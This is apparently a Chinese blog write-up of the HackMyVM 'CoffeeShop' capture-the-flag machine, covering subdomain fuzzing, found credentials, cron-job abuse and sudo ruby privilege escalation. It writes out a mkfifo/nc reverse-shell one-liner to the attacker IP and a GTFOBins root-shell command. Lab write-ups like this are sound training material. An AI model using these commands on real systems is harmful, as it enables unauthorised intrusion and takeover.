hackmyvm-coffeeshop
https://hackmyvm.eu/machines/machine.php?vm=CoffeeShop
靶机 | 攻击机 | |
---|---|---|
IP | 192.168.101.238 | 192.168.101.183 |
信息收集
开局扫一扫:
开放了22和80端口
访问/shop:
尝试爆破账号密码-失败
子域名爆破
sudo apt install seclists
echo "192.168.101.238 midnight.coffee" >> /etc/hosts
wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u midnight.coffee -H "Host: FUZZ.midnight.coffee" --hh 1690
爆出了子域名dev.midnight.coffee
继续修改/etc/hosts和HOSTS为:
访问:
得到:developer/developer
再结合刚刚的登录界面:
得到:
SSH登录:tuna / 1L0v3_TuN4_Very_Much
ssh tuna@192.168.101.138
linpeas.sh
bash linpeas.sh
确实能够得到很多信息,比如以下:
查看这个定时任务:
pspy64
看文件是谁执行的-查看进程
可见是UID为1001的用户执行的
可见是shopadmin用户,之后反弹得到的就是shopadmin用户的shell
然后根据上面的定时任务在/tmp目录创建sh文件:
rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 192.168.101.183 1234 >/tmp/m
优化shell:
sudo提权-ruby
ruby的提权-https://gtfobins.github.io/gtfobins/ruby/#sudo
sudo ruby -e 'exec "/bin/sh"' /opt/shop.rb
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)